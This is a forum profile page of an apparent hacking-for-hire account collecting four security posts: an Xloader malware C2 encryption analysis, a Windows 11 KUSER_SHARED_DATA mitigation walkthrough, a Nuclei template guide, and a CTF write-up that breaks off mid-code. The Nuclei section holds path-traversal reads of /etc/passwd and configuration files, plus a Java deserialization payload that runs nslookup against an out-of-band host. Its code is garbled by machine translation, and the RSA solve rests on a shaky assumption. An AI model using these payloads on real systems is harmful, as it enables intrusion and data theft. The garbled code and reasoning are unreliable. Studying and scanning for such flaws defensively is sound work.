Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. Xloader 是一種信息竊取惡意軟件,是Formbook 的迭代版本,自2016 年初以來一直在黑客論壇上被出售。 2020 年10 月,Formbook 更名為Xloader,並進行了一些重大改進,特別是與命令和控制(C2)網絡加密相關的改進。隨著Xloader的到來,惡意軟件的開發者也停止了出售面板的代碼和惡意軟件的可執行文件。當出售Formbook時,一個基於web的命令和控制(C2)面板被提供給客戶,以便他們可以自行管理自己的殭屍網絡。 2017 年,Formbook 的面板源被洩露,隨後,Xloader 背後的攻擊者轉向了不同的商業模式。 Xloader C2基礎設施不是傳播一個功能齊全的犯罪軟件套件,而是出租給客戶。這種“惡意軟件即服務”(MaaS)的商業模式可能更有利可圖,並使竊取變得更加困難。 Xloader的功能包括: 從網絡瀏覽器和其他應用程序竊取憑證; 捕獲按鍵信息; 螢幕截圖; 竊取存儲的密碼; 下載並執行其他二進製文件; 執行命令; 之前的文章已經分析了Formbook 和Xloader 混淆的各個方面。在這篇文章中,我們對Xloader 的C2 網絡加密和通信協議進行了詳細的分析。請注意,Xloader 是跨平台的,能夠在Microsoft Windows 和MacOS 上運行。此分析專門針對Windows 版本的Xloader。 技術分析Xloader 和Formbook 使用HTTP 與C2 服務器通信。 HTTP GET 查詢作為一種註冊形式發送。之後,惡意軟件向C2 發出HTTP POST 請求,以竊取屏幕截圖、被盜數據等信息。在這兩種情況下,GET 參數和POST 數據共享相似的格式並被加密,如下圖所示,我們將解釋以下部分中的加密算法。 Xloader C2 通信捕獲 誘餌和真實的C2服務器在整個Xloader惡意軟件有多個結構的加密塊的數據和代碼,這些塊旨在通過使用函數序言push ebp 和mov ebp, esp 的彙編指令來混淆惡意軟件分析人員和反彙編程序,如下圖所示。我們將這些結構命名為PUSHEBP 加密塊。這些塊使用基於RC4 的算法結合編碼層和自定義虛擬機(VM) 進行解密。 Xloader PUSHEBP 加密塊 其中一個PUSHEBP 塊包含加密字符串和誘餌C2 列表,這些誘餌是合法域,被添加以誤導惡意軟件研究人員和自動惡意軟件分析系統。真正的C2 服務器是單獨存儲的,並使用另一種更複雜的方案進行加密。負責解密真實C2 服務器的偽代碼如下圖所示。 Xloader C2 解密算法 在上圖中,RC4_based_Decryptor 函數由RC4 加密(使用0x14 字節密鑰)和另外兩個編碼層組成,如下所示: 附加的編碼層由簡單的減法運算組成: VM_Decryptor 函數是Xloader 使用的另一種算法,它實現了一個自定義虛擬機(VM)。下面的Python代碼行重現了Xloader為解密真實的C2而執行的步驟。 解密後,C2 URL 的格式類似於www.domain.tld/botnet_id/ C2通信發生在誘餌域和真實的C2服務器上,包括發送從受害者那裡竊取的數據。因此,有一種可能,備份C2可以隱藏在誘餌C2域中,並在主C2域被刪除時用作備用通信通道。 Formbook 通信加密在FormBook中,HTTP GET參數(和POST數據)是通過四個步驟加密的: 1.使用真實C2 的域和路徑,通過以下方式計算RC4 密鑰:Reverse_DWORDs(SHA1( 2.結果被用作一個RC4 密鑰來加密數據; 3.數據經過RC4 加密後,還會使用Base64 進行額外編碼; 4.通過HTTP POST 請求發送的數據使用表1 中所示的字符替換進行格式化。 Formbook C2 字符替換 因此,Formbook C2通信可以很容易地通過逆向過程解密,因為C2域和路徑是已知的。 Xloader 通信加密的具體細節XLoader 中的網絡加密更為複雜,該過程中添加了一個額外的RC4 層,其中包含一個複雜的算法,該算法使用以下步驟來推導加密密鑰: 1.為了加密HTTP網絡數據,Xloader首先計算一個我們稱之為Key0Comm的密鑰,如下圖所示。 Xloader KeyComm0 推導 正如我們在上圖中看到的,PUSHEBP 塊7 是使用Xloader VM 解密的。一旦解密,這個塊的長度為0x15字節。第一個0x14字節用作RC4密鑰,最後一個字節用於根據switch語句選擇並解密另一個PUSHEBP塊(在4、5、6、8、9和10塊中)。因此導出的參數Key0Comm 如下: Key0Comm=RC4_based_Decryptor(decPushebpBlock7Key[:0x14],decSwitchBasedPushebpBlock)然而,即使在相同版本的Xloader上,PUSHEBP 塊的順序以及開關和塊編號之間的關聯也會從一個樣本更改為另一個樣本(即此函數的代碼是隨機的)。下圖顯示了此函數在兩個不同Xloader v2.5 示例之間的比較。 Xloader KeyComm0函數映射到一個塊 下圖顯示了這些switch 語句如何映射到這些示例中的不同塊ID。 Xloader 塊ID 映射示例 為了對C2 通信執行加密,必須知道映射這些塊的特定樣本表,以導出加密密鑰Key0Comm。 2.接下來,使用與Formbook相同的算法計算我們稱為Key1Comm的另一個密鑰:Key1Comm=Reverse_DWORDs(SHA1( 3.最後,我們需要計算最後一個密鑰,使用Xloader 自定義的基於RC4 的解密算法如下: Key2Comm=RC4based_Decryptor(Key0Comm,Key1Comm)擁有所有這三個RC4 密鑰,我們可以加密和解密Xloader C2 通信。 使用擁有兩層標準RC4的密鑰Key2Comm 和Key1Comm 對數據包進行加密,如下所示: Xloader 還進一步應用了前面描述的用於POST 查詢的Base64 和字符替換 總結Xloader 是一個成熟的惡意軟件家族,擁有許多誤導研究人員和阻礙惡意軟件分析的技術,包括多層加密和自定義虛擬機。儘管開發者放棄了Formbook 分支以專注於重新命名的Xloader,但這兩種惡意軟件今天仍然非常活躍。 Formbook仍然被使用洩露的面板源代碼和自我管理C2 的攻擊者使用,而原始開發者繼續將Xloader 作為MaaS 出售,支持和租用服務器基礎設施。毫不奇怪,它一直是近年來最活躍的威脅之一。
  2. 在本文中,我們將為讀者詳細介紹在Windows 11內部預覽版中,KUSER_SHARED_DATA結構體發生了哪些新變化。下面,我們開始進入本文的下篇部分! (接上文) 知道了這些,我們就會明白:在調用nt!MiReservePtes之前,就可以計算出對應於“靜態”的KUSER_SHARED_DATA的PFN數據庫的適當索引。這實質上意味著我們正在從PFN數據庫中檢索相應PFN記錄(一個MMPFN結構)的虛擬地址。 我們可以把它看作是PFN數據庫的基址,在本例中是0xffffc38000000000,它參與了相關操作。而最終的虛擬地址0xffffc380002df8a0(與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址)可以在下面的RBP中看到。將來,它將用作nt!MiMakeProtectionPfnCompatible函數調用的第二個參數。 我們可以通過將上述虛擬地址解析為MMPFN結構體來驗證這一點,以查看PteAddress成員是否對應於“靜態”KUSER_SHARED_DATA的已知PTE。我們知道,PTE位於0xffffb7fbc0000000。 由於PFN結構體的PteAddress成員與“靜態”KUSER_SHARED_DATA關聯的PTE的虛擬地址是對齊的,這說明它就是與“靜態”KUSER_SHARED_DATA關聯的PFN記錄。 然後,這個值被用於對nt!MiReservePtes的調用,我們可以通過前面的兩張圖來確認這一點。根據__FastCall調用約定,該函數的第一個參數將進入RCX寄存器。這個參數實際上是一個nt!_MI_SYSTEM_PTE_TYPE結構體。 根據CodeMachine的文章來看,當對nt!MiReservePtes的調用發生時,這個結構體被用來定義如何進行內存分配,以便為正在創建的PTE預留內存。當用nt!MiReservePtes請求分配內存時,可能暗示了從系統PTE區域分配一塊虛擬內存。系統PTE區域被用於內存的映射視圖、內存描述符列表(MDL)和其他內容。有了這一信息,結合我們對兩個虛擬地址是如何被映射到同一物理內存頁的了解,就能確定:系統正在使用內存的不同'視圖'(例如,兩個虛擬地址對應一個物理地址,所以,儘管兩個虛擬地址包含相同的內容,但可能具有不同的權限)。此外,我們可以確認分配的內存來自系統PTE區域,因為nt!_MI_SYSTEM_PTE_TYPE結構體的VaType成員被設置為9,這是一個與MiVaSystemPtes對應的枚舉值。這意味著,在這種情況下,分配的內存將來自系統PTE的內存區域。 我們可以看到:在調用發生後,返回值是一個內核模式的地址,位於系統PTE區域的同一地址空間內,並且是由BasePte成員定義的。 此時,OS基本上已經以未填充的PTE結構體的形式從系統PTE區域分配了內存,該區域通常用於映射內存的多個視圖。下一步將是正確配置該PTE,並將其分配給一個內存地址。 之後,將繼續調用nt!MiMakeProtectionPfnCompatible。如前所述,該函數的第二個參數將是來自PFN數據庫的PFN記錄的虛擬地址,該記錄與應用於“靜態”KUSER_SHARED_DATA的PTE相關聯。 傳遞給nt!MiMakeProtectionPfnCompatible的第一個參數是常數4。這個價值從何而來?看一下ReactOS,我們可以看到兩個常數,它們用於描述PTE強制執行的內存權限。 根據ReactOS的說法,還有一個名為MI_MAKE_HARDWARE_PTE_KERNEL的函數,也利用了這些常數;其原型和定義可以在下文中看到。 該函數提供了nt!MiMakeProtectionPfnCompatible和nt!MiMakeValidPte(稍後將看到的函數)所公開的功能的組合。而值4或MM_READWRITE實際上是名為MmProtectTopTemask的數組的索引。該數組負責將請求的頁面權限(4,或MM_READWRITE)轉換為與PTE兼容的掩碼。 我們可以看到,前五個元素為:{0,PTE_READONLY,PTE_EXECUTE,PTE_EXECUTE_READ,PTE_READWRITE}。從這裡我們可以確認,以4作為下標訪問這個數組,就能訪問PTE_READWRITE的PTE掩碼,這正是nt!MmWriteableSharedUserData所期望的內存權限,因為我們知道:這應該是KUSER_SHARED_DATA的“新映射視圖”,它是可寫的。同時,別忘了:與“靜態”KUSER_SHARED_DATA關聯的PFN記錄的虛擬地址是通過RDX在函數調用中使用的。 在函數調用之後,返回值是一個“與PTE兼容”的掩碼,它表示一個可讀和可寫的內存頁面。 到目前為止,我們已經掌握了: 1、當前為空的PTE地址; 2、PTE的“骨架”(例如,可提供可讀/可寫的掩碼) 考慮到這一點,現在讓我們將注意力轉向對nt!MiMakeValidPte的調用。 nt!MiMakeValidPte實際上提供了前面所說的ReactOS函數MI_MAKE_HARDWARE_PTE_KERNEL的“其餘”功能。並且,nt!MiMakeValiePte需要以下信息: 1、 新創建的空PTE的地址(這個PTE將被應用到nt!MmWriteableUserSharedData的虛擬地址);目前這個地址位於RCX中。 2、 一個PFN;目前位於RDX中(例如,不是來自PFN數據庫的虛擬地址,而是原始的PFN“值”)。 3、 一個“兼容PTE的”掩碼(例如,我們的讀/寫屬性);目前位於R8中。 所有這些信息都可以在下面的屏幕截圖中看到。 就“將同一物理內存映射到不同視圖”而言,這裡最重要的組成部分是RDX中的值,它是KUSER_SHARED_DATA的實際PFN值(原始值,而不是虛擬地址)。讓我們首先回憶一下,PFN乘以一個頁面的大小(0x1000字節,或4KB)後,實際上就是一個物理地址。這是真的,特別是在我們的案例中,因為我們正在處理最細化的內存類型:4KB對齊的內存塊。由於沒有更多的分頁結構需要索引——這是PFN最常見的用途,因此,這就意味著:在這種情況下,PFN將被用來獲取最終的、4KB對齊的內存頁。 我們知道,這其實就是在正在執行的函數(nt!MiProtectSharedUserPage)裡面創建了一個PTE(通過nt!MiReservePtes和nt!MiMakeValidPte)。正如我們所知,這個PTE將被應用於一個虛擬地址,並用於將所述虛擬地址映射到一個物理頁面,本質上是通過與PTE相關的PFN實現的。目前,將用於這種映射的PFN被存儲在RDX中。在較低的水平上,RDX中的這個值乘以一個頁面的大小(4KB),就是虛擬地址被映射到的實際物理頁面。 有趣的是,RDX中的這個值(在第二次調用nt!MI_READ_PTE_LOCK_FREE後保留下來的值),就是與KUSER_SHARED_DATA相關的PFN! 換句話說,我們給這個新創建的PTE分配的虛擬地址(最終應該是nt!MmWriteableUserSharedData)將映射到KUSER_SHARED_DATA結構體所在的物理內存,因此,當nt!MmWriteableUserSharedData的內容被更新時,該物理內存也將被更新。由於“靜態”的KUSER_SHARED_DATA(0xfffff78000000000)也位於相同的物理內存中,它也會隨之更新。實際上,即使只讀的“靜態”KUSER_SHARED_DATA不允許執行寫操作,它仍然會收到nt!MmWriteableUserSharedData的更新,也就是說:它是可讀和可寫的。這是因為這兩個虛擬地址都會映射到同一個物理內存,所以,只要對其中一個執行寫操作,另一個也會隨之發生變化! 既然如此,也就沒有很好的理由讓“正常的”KUSER_SHARED_DATA結構地址(例如0xfffff78000000000)不是只讀的,因為現在有另一個內存地址可以用來代替它。這樣做的好處是,可寫的“版本”或“映射”(即nt!MmWriteableUserSharedData)是隨機的! 現在繼續,我們告訴操作系統:我們需要一個有效的、可讀和可寫的PTE,它由KUSER_SHARED_DATA的PFN(用於所有意圖和目的的物理地址)提供支持,並且將被寫入我們已經從系統PTE區域分配的PTE(因為這個內存用於映射“視圖”)。 在執行該函數後,我們可以看到情況就是這樣的! 下一個函數調用nt!MiPteInShadowRange實際上只是進行邊界檢查,看看我們的PTE是否位於影子空間中。回想一下前面的內容,對於內核虛擬地址影子(KVAS)的實現來說,分頁結構是獨立的:一組用於用戶模式,一組用於內核模式。通常來說,“影子空間”(也稱為用於用戶模式尋址的結構體)是位於nt!MiPteInShadowRange的檢查範圍內的。不過,由於我們處理的是一個內核模式頁面,因此,它所對應的PTE肯定不在“影子空間”內。就我們的目的而言,這並不是我們真正感興趣的東西。 在這個函數調用之後,將會執行mov qword ptr[rdi],rbx指令。這將使用nt!MiMakeValidPte函數所創建的相應位,來更新我們分配的PTE(它之前是空白的)!這樣,我們就得到了一個有效的PTE,並被保存到位於虛擬地址0xFFFF78000000000處的KUSER_SHARED_DATA所在的同一段物理內存中! 此時,我們離目標符號nt!MmWriteableUserSharedData僅有幾條指令,該符號剛才用新的ASLR映射的KUser_Shared_Data視圖進行了更新。然後,就可以將“靜態”KUSER_SHARED_DATA設為只讀(回想一下,在加載時,它還是可讀/寫的!)。 目前,通過RDI,我們就能得到用於新的、可讀/寫的PTE的地址和KUSER_SHARED_DATA的隨機映射視圖(通過nt!MiReservePtes生成)。上面的截圖顯示,會對RDI執行一些位運算,同時,我們可以看到頁表項的基址也會參與運算。這些都是簡單的編譯器優化,用於將一個給定的PTE轉換為PTE所應用的虛擬地址。 這是一個必要的步驟,回顧一下,到此為止,我們已經成功地從系統PTE區域生成了一個PTE,並將其標記為讀/寫,告訴它使用“靜態”的KUSER_SHARED_DATA作為虛擬內存對應的物理內存,但是我們並沒有將其實際應用於虛擬內存地址,該地址將由這個PTE來描述和映射!我們要應用這個PTE的虛擬地址,將是我們要存儲在nt!MmWriteableUserSharedData中的值! 讓我們再次回顧一下把新的PTE轉換為相應虛擬地址的位運算。 正如我們所知,RDI寄存器存放的就是目標PTE的地址。同時我們還知道,檢索與給定虛擬地址相關的PTE的步驟如下所示(即通過適當的索引訪問PTE數組): 1、 通過將虛擬地址除以一個頁面的大小(在標準Window系統上為0x1000字節),將虛擬地址轉換成虛擬頁面號(VPN)。 2、 用上述數值乘以PTE的大小(在64位系統上為0x8字節)。 3、 把這個值加到頁表條目數組的基址上。 這相當於以PteBaseArray[VPN]方式來訪問PTE數組。由於我們知道如何從虛擬地址轉換為PTE,因此,只要將這些步驟倒過來,就能檢索與給定PTE相關的虛擬地址。 知道PTE後,“反轉”過程如下所示: 1、 將RDI中的PTE(目標PTE)減去PTE數組的基址,以提取PTE數組的索引; 2、 用這個值除以PTE的大小(0x8字節)來獲取虛擬頁面號(VPN); 3、 用這個值乘以一個頁面的大小(0x1000)來檢索虛擬地址。 我們還知道編譯器會生成一條sar rdi,10H指令,對上述步驟生成的值進行算術右移,注意,這個過程其符號並不會發生變化。如果在WinDbg中復現這個過程,我們可以看到,最終值(0x0000A580A4002000)將轉換為地址0xFFFFA580A4002000。 將計算得到的值與內核生成的值進行比較,我們可以看到,它就是對應於PTE的虛擬地址,該地址將映射到KUSER_SHARED_DATA所在的物理內存,並且兩個地址最多匹配到0xffffa580a4002000!我們可以斷定,這些位運算屬於將PTE轉換為虛擬地址的宏的一部分,這是編譯器優化過的代碼! 該功能在ReactOS中以名為mi_write_valid_pte的函數形式提供。正如我們所看到的,它本質上不僅將PTE內容寫入PTE地址(在本例中是通過nt!MiReservePtes從系統PTE區域分配內存),而且還通過函數miptetoaddress獲取與PTE相關聯的虛擬地址。 太棒了!但是,我們還需要做最後一件事,那就是將“靜態”KUSER_SHARED_DATA的地址轉換為只讀的。我們已經看到,當前正在排隊等待調用nt!MiMakeProtectionPfnCompatible函數。在保存內存權限常量的RCX中,我們可以看到其值為1,或者MM_READONLY的值——還記得之前為KUSER_SHARED_DATA的讀/寫映射創建的兼容PTE的掩碼嗎?換句話說,該頁面所擁有的唯一內存“權限”,就是讀取。 在RDX中,存放的是我們對PFN數組的索引;通過將'靜態'KUSER_SHARED_DATA的PTE的虛擬地址(位於0xffffb7fbc000000的PTE)與位於PFN結構MMPFN中的PTE進行比較,我們可以確定:我們已經得到了與'靜態'KUSER_SHARED_DATA相關聯的PFN,從而得到了一個與PTE兼容的值。 與上次一樣,現在只是有了一個只讀頁面,我們還需調用nt!MiMakeValidPte,通過其PTE的虛擬地址(0xFFFFB7C000000000)為“靜態”KUSER_SHARED_DATA分配只讀權限。 調用成功後,會生成一個PTE,以用於只讀頁面。 “靜態”KUSER_SHARED_DATA結構體也是通過前面提到的相同方法(ReactOS中提供的方法稱為MI_WRITE_VALID_PTE)進行更新的。 就我們的目的而言,對於nt!MiProtectSharedUserPage所做的各種事情,我們感興趣的就是這些!我們現在有兩個虛擬地址都映射到KUSER_SHARED_DATA所在的物理內存(一個地址是只讀的,對應於0xfffff78000000000處的'靜態'KUSER_SHARED_DATA結構體,另一個則對應於新的nt!MmWriteableUserSharedData版本,它是隨機化的,並且是可讀/寫的)! 例如,我們現在可以在IDA中看到,KUSER_SHARED_DATA的更新過程,是通過隨機化和可寫的新符號來完成的。下圖取自nt!KiUpdateTime,在這裡我們可以看到KUSER_SHARED_DATA的幾個偏移量被更新了(即變為0x328和0x320)。同樣,在同一張圖中,我們還可以看到,當讀取來自KUSER_SHARED_DATA的成員時,Windows將使用舊的“靜態”硬編碼地址(在本例中,它們是0xfffff78000000008和0xfffff78000000320)。 小結很明顯,濫用這個代碼洞的原語已不可用,之前被攻擊者利用的靜態結構體現在已經得到了安全加固。然而,對於如今的漏洞利用過程來說,要想實現代碼執行,必須首先設法繞過kASLR機制——儘管這不是非常困難,但是,如果攻擊者無法繞過kASLR,就無法將代碼寫入內存。不言而喻,如果攻擊者能夠在內核加載過程中通過競態條件或其他原語儘早將代碼寫入內存,比如將代碼寫入靜態的0xfffff78000000000+0x800處的KUSER_SHARED_DATA代碼洞中,就能繞過這個障礙,因為我們知道:當內核第一次被映射到內存時,這個結構體仍然是可讀和可寫的。然而,當內核加載完成後,這個區域將變成只讀的。但是,儘管如此,這仍然是可能的,因為初始化發生在內核加載過程中。實際上,有一些已公開的exploit就是利用了這個原語,例如chompie1337的SMBGhost概念驗證就是如此,所以,作為防禦方,不僅需要提高攻擊者的門檻,還需要了解公開exploit的最新動向。雖然本文介紹的內容是一個相當小眾的變動/緩解措施,但我認為它非常有趣,至少在此過程中學到了很多關於系統PTE區域和內存視圖的知識。 如果您有任何意見、疑問、更正或建議,請隨時聯繫我。 最後,祝大家閱讀愉快!
  3. 1。スクリプトの構文形式 ケース感度 インデント:インデントを使用して階層的な関係を表すために、YAMLはスペースをインデントに使用します。通常はインデンテーションレベルごとに2つのスペースがあります。 キー価値ペア:YAMLは、コロン:で区切られたキー値ペアを介してデータを保存します。 リスト:短い水平線を使用して、リスト内のアイテムを表します。 コメント:#から始まる行はコメントです。 文字列:文字列は、引用符または単一または二重引用符のないいずれかを持つことができます。 IDには、中国語、特殊文字、スペースなどを持つことはできません。IDパラメーターは、出力タイトルとして理解できます。これは、簡単で理解しやすいIDで、より速く判断できるようになります。 情報:情報ブロック、名前、著者、重大度、説明、リファレンス、ラベル、すべて情報ブロックの範囲に属します。一般的に言えば、名前、著者、重大度、説明、ラベルを書くだけです。 名前:テンプレート名、この提案はIDと同じです 重大度:重大度、中国語はここでは使用できません。臨界、高、中程度、および情報は、一般に脅威レベルを示すために使用されます。 説明:脆弱性の紹介、中国語はここで使用できますが、特殊文字は制限されていません。一般に、脆弱性の導入に使用されます。これにより、ユーザーが脆弱性の特定の説明を理解できるようになります。 タグ:タグは、簡単なスキャンのために脆弱性にタグを追加することです。 私は毎日NucleiのYAMLスクリプトを書きます。 Nucleiには、Cookie-Reuse属性が組み込まれています。複数のリクエストが開始されると、セッションを維持する必要があります。 Cookie-reuse:を真に追加して、複数のリクエスト中にセッションを維持することができます。これは、認証がある場合に役立ちます。 試合が失敗した場合は、-debugを使用してリクエストパッケージを取得し、デバッグ用にパッケージを返すことができます。バープを使用してパッケージをキャプチャし、リクエストパッケージのコンテンツを直接貼り付けます 2。一般的な核コマンド 1。テンプレート形式を確認します Nuclei -T test.yaml -validate 2.テンプレートとターゲットを指定します Nuclei -T test.yaml -u http://exam.com 3。バッチスキャン Nuclei -T test.yaml -l Target.txt 4. Socks5プロキシスキャンを指定します Nuclei -T test.yaml -u http://exam.com -p Socks5: //127.0.0.1:7890 3。スクリプトの例 ID:ファイルインクルード#テンプレートの一意の識別子 info:#名前、著者、バージョンなど、テンプレートの基本情報。 name:ファイルには、スクリプトの名前が含まれています 著者: bakclion #template著者 severity: high #Securityレベルオプションは、情報、低、中、高、批判、不明です 説明:撮影範囲をテストするための核テンプレート#descriptionテンプレートコンテンツ Reference: http://www.baidu.com #Reference Source tags:テスト#categoryタグ requests:#ターゲットと対話する方法のリクエストセクションを定義します -Method: getやpostなどの#httpメソッドを取得する PATH: #requested Path - '{{baseurl}}/vul/dir/dir_list.php?title=./././././././etc/etswd' Headers: #Requestヘッダー user-agent: 'mozilla/5.0(windows nt 10.0; win64; x64)applewebkit/537.36(khtml、yike gecko)chrome/114.0.0.0 safari/537.36' Matchers: -Type:ステータス#マッチバックパックステータス Status: -200 -Type: REGEX #Match戻りコンテンツ パート:ボディ regex: - 'root:x:0:0:root3360/root3360/bin/bash' iv。スクリプト構成 1。開始 id: landray-oa-fileread info: name: landray-oa-fileread 著者:バックライオン 重大度:高 説明: | lanling oa custom.jspランダムなファイルの読み取りの脆弱性、このoaは比較的少数です fofa: app='landray-oa system' Reference: https://github.com/backslion tags: fileread、landray 2.request を取得します リクエスト: -Method: GET PATH: - '{{baseurl}}/seeyon/webmail.do?method=dodownloadattfilename=index.jspfilepath=./conf/datasourcectp.properties' post requests: -Method:投稿 PATH: - '{{baseurl}}/sys/ui/extend/varkind/custom.jsp' Headers: Content-Type:アプリケーション/x-www-form-urlencoded body: 'var={' body': {'file':'file: ///etc/passwd'}} ' raw requests: -Raw: - | post /spirit/interface/gateway.php http/1.1 host: {{hostname}} Content-Type:アプリケーション/x-www-form-urlencoded json={'url':'/general /././mysql5/my.ini '} ジャンプ -method: get PATH: - '{{baseurl}}' Redirects: True max-redirects: 2 または リクエスト: -Raw: - | get/zentao/api-getmodel-editor-save-filepath=bote http/1.1 Redirects: True max-redirects: 3 パス リクエストの次の部分は、リクエストへのパスです。動的変数は、実行時に動作を変更するパスに配置できます。変数は{{および}}で始まり、ケースに敏感で終わります。 {{hostname}}}:これは、ホスト名を示す一般的に使用される予約済みの単語です。 {{randstr}}:これはランダムな文字列です。 {{rand_int(1,9999)}}}:これは、1〜9999の間でランダムな整数を生成する予約された単語です。 {{baseurl}}:https://example.com3:443/foo/bar.phpなど、完全なベースURLを表します。 {{rooturl}}}:https://example.com:443などのパスとファイルが含まれていないベースURLを表します。 {{host}}:example.comなどのホスト名を表します。 {{port}}:ポート番号、たとえば443を示します。 {{path}}: /seeyon /loginなどのパスを表します。 {{file}}:bar.phpなどのファイル名を表します。 {{Scheme}}:HTTPSなどのプロトコルを表します。 {{hex_decode( '')}}:これは、16進数でデコードされた予約済みの単語です。 MD5():これは、MD5によって変換された予約された単語です 変数値 {{baseurl}} https://example.com:443/foo/bar.php {{rooturl}} https://example.com:443 {{hostname}} example.com:443 {{host}} example.com {{port}} 443 {{path}} /foo {{file}} bar.php {{Scheme}} https 一撃の停止 一般的なアイデアは、テンプレートに複数のスキャンパスがあるということです。最初にヒットすると、次のいくつかのパスのスキャンが自動的に停止します。もちろん、これは他のテンプレートには影響しません。 リクエスト: -Method: GET PATH: - '{{baseurl}}' - '{{baseurl}}/login' - '{{baseurl}}/main' - '{{baseurl}}/index' Stop-at-first-match: true oob Nuclei V2.3.6のリリース以来、Nucleiは、OOBベースの脆弱性スキャンを実装するために、interact.sh APIの組み込み自動要求関連の使用をサポートしています。リクエストのどこにでも{{Interactsh-url}}を書いて、interact_protocolのマッチャーを追加するのと同じくらい簡単です。核は、テンプレートとの相互作用の相関と、簡単なOOBスキャンを許可することによって生成される要求の相関を処理します。 リクエスト: -Raw: - | get/plugins/servlet/oauth/users/icon-uri?consumeruri=https://{{interationsh-url}} http/1.1 host: {{hostname}} Java Deserialization raw: - | post /index.faces; jsessionid=x http /1.1 host: {{hostname}} Accept-Encoding: gzip、deflate Content-Length: 1882 Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、*/*; Q=0.8 Connection:閉じます Content-Type:アプリケーション/x-www-form-urlencoded javax.faces.viewState={{generate_java_gadget( 'commons_collection3.1'、 'nslookup {{interact.sh}}'、 'base64')}}} 3.Matcher Matchers-Condition:および#Realistic操作複数のマッチャーのマッチング結果の操作:および|または同時に条件を満たしています Matchers: -Type: DSL #Matcherタイプステータス| Word |サイズ|バイナリ| REGEX | DSL DSL: #use dslデータマッチング用の構文(!注:より柔軟で複雑なマッチング、推奨)Stringslice - 'status_code_1==200 status_code_2==302' - 'all_headers_1==' admin 'all_headers_2==' index '' condition:と#need上記の2つの条件を同時に満たす -Type:ワード Words: #returnパッケージマッチングテキスト(!注:単語タイプはここでより特別です。 - 「admin.php」 - '61646D696E2E706870' - '{{match_str}}' Encoding: hex#encoderは、返された抽出されたデータをエンコードし、単語コンテンツに一致します(!注:単語マッチャーのみがサポートされ、ヘックスのみがサポートされています)hex #次の設定は基本的に一般的です(!注:DSLタイプを除く) PART:ヘッダー#データが返されるヘッダー|ボディ|設定なしの領域を読み取ります。 条件:または#match結果論理操作と| or ネガティブ: true#一致する結果と条件を組み合わせることで、より柔軟な組み合わせ方法を実現できます。 true | false -Type:ステータス Status:#マッチャータイプと同じ、現在パケットステータスコードintslice、200または302を返しています -200 -Type: REGEX regex:#Stringsliceを一致させるデータの規則性を使用します - '。*\ admin.php。*' -Type:バイナリ binary: #sistingsliceを一致させるデータのバイナリを使用します - '61646D696E2E706870' -Type:サイズ size: #returnパケットデータサイズ(注:ボディデータを参照)intslice -1234 DSLは一般に、以下の組み込み関数を含む複雑な論理的判断に使用されます。 変数名説明例出力データContent_Length コンテンツ長ヘッダー content_length 12345 status_code 応答ステータスコード status_code 200 all_headers ヘッダー情報に戻ります 体 身体情報を返します body_1 header_name ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます user_agent xxxx header_name ヘッダーのキー値情報、すべて小文字を返し、 - _に置き換えられます set_cookie xxx=
  4. 1. pyc PYCを使用してオンラインで逆コンパイルしてPythonソースコードを取得します。 #!/usr/bin/env python #詳細については、https://tool.lu/pyc/をご覧ください #version: python 3.8 ランダムをインポートします def encrypt_file(file_path): random.seed(114514) #警告: Decompyleが不完全 file_path='./flag' encrypt_file(file_path) 次に、AI分析を使用して、対応する復号化スクリプトを取得します ランダムをインポートします OSをインポートします def decrypt_data(encrypted_data): random.seed(114514) decrypted_data=bytearray() byte in necrypted_data:の場合 key=random.randint(0、128) decrypted_data.append(byte ^ key) decrypted_dataを返します def read_file(file_path、mode='rb'): open(file_path、mode)をfile:として file.read()を返します def write_file(file_path、data、mode='wb'): open(file_path、mode)をfile:として file.write(data) def decrypt_file(encrypted_file_path、output_file_path): encrypted_data=read_file(encrypted_file_path) decrypted_data=decrypt_data(encrypted_data) write_file(output_file_path、decrypted_data) __NAME __=='__ Main __' :の場合 encrypted_file_path='flag.enc' output_file_path='flag_decrypted.txt' decrypt_file(encrypted_file_path、output_file_path) #flag {u_r_g00d_at_do1n_pyc} 2. mwatch ヒント:データセキュリティ研究者がスマートデバイスによって収集されたデータをリアルタイムで分析すると、デバイスユーザーの価値が高いことを検出します。最高の値を分析するのに役立ちます。フラグ{MD5(データ収集デバイス名データ受信デバイス名値)} 心拍数は何度も表示されます。質問の説明に基づいてこれを探す必要があります。関連する心拍数のみを確認してください フラグ{MD5(MIスマートバンド5_REDMI K40_128)} フラグ{453D8FEDA5ADB6E7B4D54F71A9CE9E14} 3. babyrsa ヒント:特定の従業員には、素数を生成する初期値があり、このアルゴリズムを長時間実行しました。このプログラムは誤って終了し、誤って初期値を削除しました。プレーンテキストを復元できますか? ソースコード: #task.py #!/usr/bin/env python3 # - * - coding: utf-8-* - 秘密のインポートフラグから、init crypto.util.Numberインポートから * sage.allからimport * gmpy2インポートirootから m=bytes_to_long(flag.encode()) r=getPrime(128) p=init #範囲(r-1):の場合 #p +=next_prime(init) #arsert iroot(p、3)[1]==1 Q=getPrime(12) #n=p*q*r n=r ** 4*q E=getPrime(17) c=pow(m、e、n) 印刷(f'r={r} ') print(f'e={e} ') 印刷(f'c={c} ') #R=287040188443069778047400125757341514899 #E=96001 #c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625 Qを取得するために12ビットの素数を爆破してから復号化します crypto.util.Numberからlong_to_bytesをインポートします R=287040188443069778047400125757341514899 E=96001 c=73855802810562767814979785380202271810096755452877197575049929510423791238909 673184757193027320814618632612457868216163319969575131936068848815308298035625 #指数のモジュラスが実際にr ** 4であると仮定すると n=r ** 4 #emodφ(n)のモジュラー逆数を計算します。ここで、φ(n)は(r-1)*(r ** 3)のようなrの関数になる可能性があります #RSA復号化式m=c^d mod nにはφ(n)の正しい値が必要です。ここで、d=e^( - 1)modφ(n) #ここで、φ(n)=r^4 -r^3を単純化として仮定すると、実際のRSAセットアップに基づいてこれを調整する必要があるかもしれません phi_n=r ** 4 -r ** 3 d=inverse(e、phi_n) #メッセージを復号化します m=pow(c、d、n) #番号をバイトに変換します メッセージ=long_to_bytes(m) 印刷(メッセージ) #flag {3b0ce326141ea4f6b5bf2f37efbd1b42} 4. バックパック BKZアルゴリズムを使用して、一連のベースを解くバックパック暗号化 #!/usr/bin/env python3 # - * - coding: utf-8-* - sage.allからimport * 秘密のインポートフラグから crypto.util.Numberインポートから * 数学からインポートlog2から クラスナープサック: def 